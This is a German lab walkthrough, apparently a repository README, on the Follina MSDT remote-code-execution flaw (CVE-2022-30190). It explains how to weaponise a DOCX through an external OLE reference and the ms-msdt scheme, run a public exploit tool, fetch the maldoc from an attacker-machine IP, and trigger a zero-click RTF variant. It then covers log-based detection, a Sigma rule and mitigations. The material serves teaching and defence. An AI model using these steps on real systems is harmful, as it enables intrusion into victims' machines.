muhammad-ali007/follina_msdt_cve-2022-30190
Microsoft erklärt, dass „eine Remote-Codeausführungsschwachstelle vorliegt, wenn MSDT über das URL-Protokoll von einer aufrufenden Anwendung wie Word aufgerufen wird. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann beliebigen Code mit den Berechtigungen der aufrufenden Anwendung ausführen. Der Angreifer kann dann Programme installieren, Daten anzeigen, ändern oder löschen oder neue Konten im Rahmen der Benutzerrechte erstellen“. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft gibt an, dass „das Microsoft Support Diagnostic Tool (MSDT) Informationen sammelt, um sie an den Microsoft-Support zu senden. Dieser analysiert die Informationen und verwendet sie, um die Lösung für Probleme zu ermitteln, die auf Ihrem Computer auftreten können“. In diesem Sinne ist es im Wesentlichen eine Möglichkeit für den Microsoft-Support, sofort zu sehen, was nicht stimmt, da alle benötigten Informationen direkt von der Quelle stammen.
Erklärung des Exploits
Beginnen wir mit einem Haftungsausschluss: Für unsere Zwecke laden wir unsere Payload über ein Word-Dokument, insbesondere im .docx-Format – dies ist der ursprüngliche Exploit, der in freier Wildbahn entdeckt wurde. Es hat sich jedoch gezeigt, dass diese Schwachstelle auch in einer Reihe anderer Office-Produkte funktioniert.
Zwei wichtige Aspekte dieser Schwachstelle sind: 1 - Bestimmte DOCX-Dateien enthalten OLE-Objektverweise (OLE steht ursprünglich für Object Linking and Embedding), die manchmal die Form von extern gehosteten HTML-Dateien annehmen. 2 - MS-MSDT ermöglicht die Codeausführung.
Kombiniert man diese beiden Aspekte, kann ein MS-MSDT-HTML-Schema verwendet werden, um PowerShell-Code auszuführen, und eine DOCX-Datei kann verwendet werden, um ihn über die externe Verweisfunktion von Word zu laden.
Genauer gesagt: In der DOCX-Struktur enthält die Datei „word/_rels/document.xml.rels“ ein XML-Tag <Relationship> mit einem Attribut Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", das einen externen oleObject-Verweis beschreibt. Um diese DOCX-Funktion auszunutzen, können wir den Inhalt dieses Tags so bearbeiten, dass er stattdessen auf die von uns gehostete Payload zeigt, indem wir den Target-Wert in http://<external_payload_server.com>/<payload.html> und den TargetMode-Wert in "External" ändern.
In der Datei word/document.xml gibt es ein XML-Tag, das mit <o:OLEObject...> beginnt. Dort sollten wir den Type-Wert in "Link" ändern und dann das Schlüssel-Wert-Paar-Attribut UpdateMode="OnCall" hinzufügen.
Die einzige verbleibende Aufgabe besteht darin, die Payload zu hosten, mit der sich die Word-Datei beim Öffnen verbindet und von der sie Anweisungen erhält. Dies geschieht durch Erstellen einer HTML-Datei mit einer ähnlichen Struktur wie der folgenden:
In den obigen Inhalten der HTML-Datei fällt der Befehl ms-msdt:/id PCWDiagnostic /skip force /param auf, zusammen mit den Befehlsoptionen, mit denen Sie den Befehl festlegen können, der auf dem Zielcomputer ausgeführt werden soll. Sie können die Payload dann je nach Zweck beliebig anpassen.
Somit haben wir nun eine Möglichkeit, Remote-Codeausführung zu erreichen, ohne Makros zu verwenden, und wie wir später sehen werden, sogar ohne das schädliche Dokument zu öffnen.
Öffentlich verfügbarer Exploit im Fokus (https://github.com/JohnHammond/msdt-follina)
John Hammond hat ein Tool erstellt, das den Prozess der Erstellung eines schädlichen Dokuments (Maldoc) automatisiert und anschließend die bösartige HTML-Datei hostet, die den schädlichen Befehl enthält. Das Tool ist unter dem obigen Link dokumentiert, und wir werden eine gegabelte (Fork-)Version davon verwenden, um das Konzept des zuvor angesprochenen Exploits besser zu verstehen.
Öffnen Sie ein Terminal, klonen Sie dieses Repository und wechseln Sie in das Verzeichnis, in das das msdt-follina-Repository geklont wurde. root@host:~/Follina-MSDT# python3 follina.py
Wenn Sie den Exploit starten, sollten Sie die Datei bereits hosten, sodass sie bereit ist, an den Zielcomputer „geliefert“ zu werden. Lassen Sie das ursprüngliche Terminal geöffnet, öffnen Sie ein weiteres Terminal und geben Sie den folgenden Befehl ein, um die Dateien auf einem Server zu hosten: root@host:~/Follina-MSDT# python -m http.server 3456
Öffnen Sie auf dem Zielcomputer eine Eingabeaufforderung und geben Sie den folgenden Befehl ein: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Dadurch wird das Maldoc auf unseren Computer heruntergeladen, und kurz darauf sollten Sie die Word-Datei mit dem Namen follina.docx auf dem Desktop sehen können, bereit zur Ausführung. Wenn Sie bereit sind, öffnen Sie die Datei und beobachten Sie, was passiert. Lassen wir das Maldoc und alles, was es gestartet hat, vorerst weiterlaufen.
„Zero-Click“-Implementierung
Um die „Zero-Click“-Implementierung dieser Schwachstelle nachzubilden, gehen wir einfach zur schädlichen Word-Datei, fügen eine nette Nachricht hinzu (völlig optional), speichern sie im Rich-Text-Format (RTF) und schon sind wir bereit. Diese Implementierung setzt voraus, dass sich auf dem Zielcomputer das Vorschaufenster (Preview Pane) in der Ansicht befindet, andernfalls fällt sie auf die ursprüngliche Funktionalität zurück, die beim Öffnen der Datei weiterhin ausgeführt wird.
Öffnen Sie den Datei-Explorer und navigieren Sie zum Desktop-Ordner. Dort sehen Sie die harmlos wirkende Datei, die wir erstellt haben und die angeklickt werden muss. Klicken Sie einmal darauf, achten Sie jedoch darauf, sie nicht tatsächlich zu öffnen, und beobachten Sie, was passiert.
Obwohl die Datei nicht tatsächlich geöffnet wurde, lief der Exploit auf die gleiche Weise wie zuvor in dieser Übung. Dies ist auf zwei wichtige Funktionen zurückzuführen: 1 - Die Funktion des Datei-Explorers, Dateien vor dem Öffnen in der Vorschau anzuzeigen. 2 - Das RTF-Format, das es Dokumentdateien unter anderem ermöglicht, im Datei-Explorer vor dem Öffnen in der Vorschau angezeigt zu werden.
Die Kombination und der Missbrauch dieser beiden Funktionen führt zu einem Angriffsvektor, den wir gerade beobachtet haben.
Erkennung & Eindämmung
Bedrohungssuche:
Der Windows-Computer, den wir zur Untersuchung der Ausnutzung der Schwachstelle verwendet haben, wurde vorkonfiguriert, sodass die Protokollierung für Folgendes aktiviert ist:
Diese Überwachungsmechanismen sind standardmäßig nicht konfiguriert. Daher ist es unbedingt erforderlich, sie in Ihrer eigenen Umgebung zu aktivieren, um die Erkennung verdächtigen Verhaltens zu unterstützen und wertvolle Daten für forensische Prüfer verfügbar zu halten.
Während des vorherigen Prozesses haben wir bei der Ausnutzung der Schwachstelle eine Reihe interessanter Prozesserstellungen identifiziert. Diese Prozesserstellungen werden in den Windows-Sicherheitsprotokollen protokolliert und können mit Ihrem bevorzugten Viewer analysiert oder an einen zentralen Protokollsammler weitergeleitet werden, um verarbeitet und später weiterverwendet zu werden.
Für diese Aufgabe verwenden wir den Event Log Viewer for Windows von Nirsoft, um die zuvor identifizierten Prozesserstellungen zu überprüfen. Anschließend suchen wir in diesen Prozesserstellungen nach Details, die wir als Hinweise in anderen Ereignisprotokollen nutzen können, um besser zu erklären, was im Hintergrund passiert ist.
Öffnen Sie FullEventLogView. Gehen Sie zu View > Use Quick Filter. Über den Protokollen sollte eine Suchleiste erscheinen, die schnelle Suchen ermöglicht. Da wir die Details unserer Prozesserstellungen überprüfen möchten, klicken wir auf das äußerste linke Dropdown-Menü, wählen Find Event ID (space/comma...) und geben dann 4688 in die Suchleiste ein.
Der Bildschirm sollte sich mit Prozesserstellungs-Ereignissen füllen, und Sie werden sofort feststellen, dass es eine Menge davon gibt, obwohl die Interaktion mit dem Computer minimal war.
Das erste Artefakt, das wir überprüfen, ist winword.exe – das Verständnis des Ereignisflusses dieses Prozesses gibt uns eine Vorstellung davon, wie sich ein Office-Prozess im Allgemeinen im Kontext einer MSDT-Ausnutzung verhält. Drücken Sie Strg+F, um eine Suchfunktion zu öffnen, und geben Sie winword ein.
Der erste Eintrag, den Sie wahrscheinlich sehen, ist der, in dem WINWORD.EXE der neu erstellte Prozess ist, erkennbar am Detail: New Process Name. Dieser Prozess markiert das Öffnen der Datei follina.docx, erkennbar am Detail: Process Command Line. Es ist völlig normal, dass es nicht genau gleich aussieht. Klicken Sie auf die Schaltfläche Find Next, bis Sie einen Eintrag finden, der wie ein langer „ms-msdt“-Befehl (PowerShell) aussieht.
Hier sehen wir, dass WINWORD.EXE der Creator Process ist, allgemein bekannt als Parent Process von msdt.exe. Beachten Sie den langen Befehlszeileneintrag, der mehrere PowerShell-Cmdlets (ausgesprochen command-lets) sowie mehrere Verzeichniswechsel (Directory Traversals) enthält. Allein das Sehen eines solchen Eintrags in Ihrer Umgebung sollte sofort Alarm auslösen. Ein nützliches Detail, das wir uns hier genauer ansehen können, ist die Zeichenfolge Y2FsYw==, die beim Dekodieren die Zeichenfolge calc ergibt.
Da wir PowerShell-Cmdlets gesehen haben, ist es sinnvoll, PowerShell-Ereignisse herauszufiltern, um dieser Spur weiter nachzugehen. Da es viele eindeutige Ereignis-IDs gibt, die PowerShell-Ereignisse protokollieren, können wir über den Provider filtern. Gehen Sie zu Options > Advanced Options. Klicken Sie auf das zweite Dropdown-Menü und wählen Sie Show only the specific providers (comma-delimited...). Geben Sie PowerShell, umgeben von Platzhaltern (*), ein, damit alle Provider in Bezug auf PowerShell einbezogen werden.
Leeren Sie das Feld „Quick Filter“ von der zuvor eingegebenen 4688, und der Bildschirm sollte sich mit Ereignissen füllen, die ausschließlich von PowerShell-Providern stammen. Von hier aus können wir die Ereignisse über einen Teil des oben notierten PowerShell-Befehls filtern.
Wenn wir dieses Ereignis erreicht haben, können wir die Suchfunktion schließen und der Spur dieses Scriptblock-Textes folgen. Sie können zum nächsten Ereignis navigieren, indem Sie die Nach-unten-Taste drücken oder das Ereignis manuell anklicken. Die Untersuchung der unmittelbar auf diesen Scriptblock-Text folgenden Ereignisse zeigt die schrittweise Ausführung von calc aus der Perspektive von PowerShell.
Verfügbarkeit der Sigma-Regel:
Matthew Brennan, Detection Engineer bei Huntress, hat eine Sigma-Regel erstellt, um verdächtige MSDT-Ausführungen in der Umgebung zu erkennen. Das Beste daran ist, dass sie ständig aktualisiert wird, wenn die Community etwas Neues entdeckt.
Die Sigma-Regel finden Sie hier (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) ist ein nützliches Tool, das dabei hilft, Sigma-Regeln in Abfragen umzuwandeln, die sofort in einem SIEM Ihrer Wahl verwendet werden können.
Bei der Suche nach MSDT-Exploits in der Umgebung können Sie die Sigma-Regel als Erkennungsmechanismus für beides verwenden:
MSDT verwendet außerdem eine weitere Binärdatei (https://twitter.com/KyleHanslovan/status/1531114931973767168), um Ausführungen zu kanalisieren. Daher sollten verdächtige Kindprozesse mit dieser Binärdatei als Elternprozess notiert und weiter untersucht werden. Die obigen „redigierten“ Informationen sind eine Antwort auf eine Frage in der vorherigen Aufgabe – sehen Sie auf eigene Gefahr nach.
Weiterführende Literatur:
Erkennung von Follina: Microsoft-Office-Remote-Codeausführung Zero-Day (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Antivirus / Windows Defender:
Eine Reihe von Microsoft-Defender-Produkten verfügt über Erkennungsmechanismen, und unser bewährtes Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) stellt uns eine Liste davon zur Verfügung.
Behebung
Der Patch für diese Schwachstelle ist in den kumulativen Windows-Updates vom Juni 2022 enthalten. Es ist unbedingt erforderlich, dass Benutzer diese Updates installieren, um vor der Schwachstelle geschützt zu sein. Sie können dies entweder regelmäßig manuell tun, was nicht sehr effizient ist und leicht vergessen werden kann, oder Sie können die Überprüfung und Installation von Updates automatisieren.
Deaktivieren des MSDT-URL-Protokolls:
Bevor der Patch veröffentlicht wurde, drängten Sicherheitsteams die IT-Administratoren ihrer Organisation, das MSDT-URL-Protokoll sofort zu deaktivieren. Durch die Deaktivierung des MSDT-URL-Protokolls werden Problembehandlungstools nicht mehr als Links gestartet, sodass ms-msdt nicht mehr von Office aufgerufen werden kann. Um das Protokoll zu deaktivieren, führen Sie zunächst eine Eingabeaufforderung als Administrator aus C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
Inzwischen ist Ihnen sicherlich aufgefallen, dass wir unser Arbeitsverzeichnis immer auf den Desktop ändern – das tun wir, um die Änderungen, die unsere Befehle in der Umgebung bewirken, sofort zu sehen: Dateierstellung ist ziemlich auffällig. Es ist jedoch keineswegs die beste Praxis, dies in irgendeiner Umgebung zu tun.
Der erste von uns eingeführte Befehl reg query ist eine schnelle Überprüfung, ob der Schlüssel existiert. Es folgt reg export, das unseren Schlüssel in eine Datei exportiert, damit wir ihn später wieder in unser System integrieren können, wenn Microsoft einen dauerhafteren Fix für diese Schwachstelle bereitstellt. Die exportierte Datei wird im aktuellen Arbeitsverzeichnis gespeichert – in unserem Fall auf dem Desktop. Der Befehl reg delete ist der Befehl, der das MSDT-URL-Protokoll tatsächlich deaktiviert, hauptsächlich weil er es im Wesentlichen vollständig aus dem System entfernt. Der abschließende Befehl reg query ist eine Bestätigungsprüfung, dass der Schlüssel nicht mehr existiert.
Nachdem wir das MSDT-URL-Protokoll auf unserem Windows-Computer deaktiviert haben, versuchen wir, den Exploit erneut auszulösen, und sehen, wie er sich auf den Computer auswirkt. Dies ist eine gute Möglichkeit zu überprüfen, ob unsere Kontrollen Angriffe erkennen können, unabhängig davon, ob sie erfolgreich sind oder nicht.
Verringerung der Angriffsfläche (ASR):
Wenn Sie in Ihrer Umgebung Microsoft Defender for Endpoint verwenden, aktivieren Sie die ASR-Regel Block all Office applications from creating child. Die Erstellung untergeordneter Prozesse durch Dienste, die dies nicht tun sollten, ist bei Malware ein häufiges Muster. Weiterführende Literatur: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Zum Abschluss dieses Themas wurden einige Behebungsprozesse gewählt, die sowohl unkompliziert als auch einfach bereitzustellen sind. Microsoft hat bereits einen Patch veröffentlicht, der PowerShell-Injektion blockiert und diesen Angriffsvektor effektiv deaktiviert.
